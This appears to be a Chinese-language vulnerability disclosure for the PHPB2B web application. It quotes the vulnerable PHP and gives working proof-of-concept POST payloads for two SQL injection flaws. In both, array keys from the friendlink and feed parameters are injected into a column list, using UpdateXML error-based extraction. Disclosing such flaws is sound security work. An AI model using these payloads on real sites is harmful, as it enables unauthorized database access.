### 简要描述: RT ### 详细说明: 在friendlink_control.php中: ``` function add() { global $smarty; using( "message"); $pms = new Messages(); if (isset($_POST['do']) && !empty($_POST['friendlink'])) { pb_submit_check('friendlink'); $data = $_POST['friendlink']; $result = false; $data['status'] = 0; $data['created'] = $data['modified'] = $this->friendlink->timestamp; $result = $this->friendlink->save($data); if ($result) { $pms->SendToAdmin('', array( "title"=>$data['title'].L("apply_friendlink"), "content"=>$data['title'].L("apply_friendlink")."\n".$_POST['data']['email']."\n".$data['description'], )); flash('wait_apply'); } }else{ flash(); } } ``` 程序中有这样一段代码:$data=$_POST['friendlink'],然后程序在后面为$data赋值,从赋值的形式来看,知道$data是一个数组。既然是数组 我们就可以利用POST提交一个friendlink[]=XXX 这种形式的数据上去,就可以覆盖控制$data的数组值。 然后程序执行了$result = $this->friendlink->save($data); ``` function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false) { $new_id = $result = false; $keys =...
### 简要描述: RT ### 详细说明: 在friendlink_control.php中: ``` function add() { global $smarty; using( "message"); $pms = new Messages(); if (isset($_POST['do']) && !empty($_POST['friendlink'])) { pb_submit_check('friendlink'); $data = $_POST['friendlink']; $result = false; $data['status'] = 0; $data['created'] = $data['modified'] = $this->friendlink->timestamp; $result = $this->friendlink->save($data); if ($result) { $pms->SendToAdmin('', array( "title"=>$data['title'].L("apply_friendlink"), "content"=>$data['title'].L("apply_friendlink")."\n".$_POST['data']['email']."\n".$data['description'], )); flash('wait_apply'); } }else{ flash(); } } ``` 程序中有这样一段代码:$data=$_POST['friendlink'],然后程序在后面为$data赋值,从赋值的形式来看,知道$data是一个数组。既然是数组 我们就可以利用POST提交一个friendlink[]=XXX 这种形式的数据上去,就可以覆盖控制$data的数组值。 然后程序执行了$result = $this->friendlink->save($data); ``` function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false) { $new_id = $result = false; $keys = array_keys($posts); $cols = implode($keys,","); $tbname = (is_null($tbname))? $this->getTable():trim($tbname); $this->table_name = $tbname; //Todo:2010.04.14, by steven if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; }elseif(!empty($posts[$this->primaryKey])){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'"; }else{ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'"; } if (!is_null($conditions)) { if (!empty($conditions)) { if (is_array($conditions)) { $condition = implode(" AND ", $conditions); }else{ $condition = $conditions; } } $sql.= " AND ".$condition; } $rs = $this->dbstuff->Execute($sql); ``` 以上是save方法的一部分,其中$posts就是之前的$data,并且是一个数组形式,key和value都可控。 接着程序获取了$posts的keys,并且将其转换为字符串,最后入到到sql语句中执行。 由于注入点是column 所以我们只需要一个注释符就可以实现注入。 POC: phpb2b/index.php?do=friendlink&action=add post: friendlink[(UpdateXML(1,CONCAT(0x5b,user(),0x5d),1))%23]=1&do=1&friendlink[id]=1&formhash=02d40d85c2dd1208&is_ajax=1 这里的formhash是一个token,可以页面上的表单中获取。 这里开启debug方便测试(实际情况下可以使用盲注) [<img src="https://images.seebug.org/upload/201503/1620462155bd8513aa967dd111a133b02f810260.png" alt="BaiduHi_2015-3-16_20-45-48.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1620462155bd8513aa967dd111a133b02f810260.png) 漏洞二: 在文件message_control.php中: ``` function add() { global $pb_user, $smarty, $administrator_id; if (isset($_POST['companyid']) && !empty($_POST['feed']) && !empty($pb_user['pb_userid'])) { $vals = $_POST['feed']; $vals['created'] = $this->message->timestamp; $vals['status'] = 0; $vals['from_member_id'] = $pb_user['pb_userid']; $vals['cache_from_username'] = $pb_user['pb_username']; $member_id = $this->message->GetOne("SELECT member_id FROM {$this->message->table_prefix}companies WHERE id=".intval($_POST['companyid'])); if (empty($member_id)) { $vals['to_member_id'] = $administrator_id; $vals['cache_to_username'] = $this->message->GetOne("SELECT username FROM {$this->message->table_prefix}members WHERE id=".$administrator_id); }else{ $member_info = $this->message->GetRow("SELECT id,username FROM {$this->message->table_prefix}members WHERE id=".$member_id); $vals['to_member_id'] = $member_info['id']; $vals['cache_to_username'] = $member_info['username']; } $vals['title'] = L("pms_from_space", "tpl"); if($this->message->save($vals)){ $smarty->flash('feedback_already_submit', null, 0); } } } ``` 我们看到同样$vals=$_POST['feed'],然后将$vals导入到了save方法,漏洞的形成和上面的一样。不再累赘. POC: phpb2b/index.php?do=message&action=add post: feed[(UpdateXML(1,CONCAT(0x5b,user(),0x5d),1))%23]=1&do=1&friendlink[id]=1&formhash=02d40d85c2dd1208&companyid=1 [<img src="https://images.seebug.org/upload/201503/162054141853bcc8f84e5ec341856ce3f9795007.png" alt="BaiduHi_2015-3-16_20-45-48.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/162054141853bcc8f84e5ec341856ce3f9795007.png) ### 漏洞证明: POC: phpb2b/index.php?do=message&action=add post: feed[(UpdateXML(1,CONCAT(0x5b,user(),0x5d),1))%23]=1&do=1&friendlink[id]=1&formhash=02d40d85c2dd1208&companyid=1 [<img src="https://images.seebug.org/upload/201503/162054141853bcc8f84e5ec341856ce3f9795007.png" alt="BaiduHi_2015-3-16_20-45-48.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/162054141853bcc8f84e5ec341856ce3f9795007.png)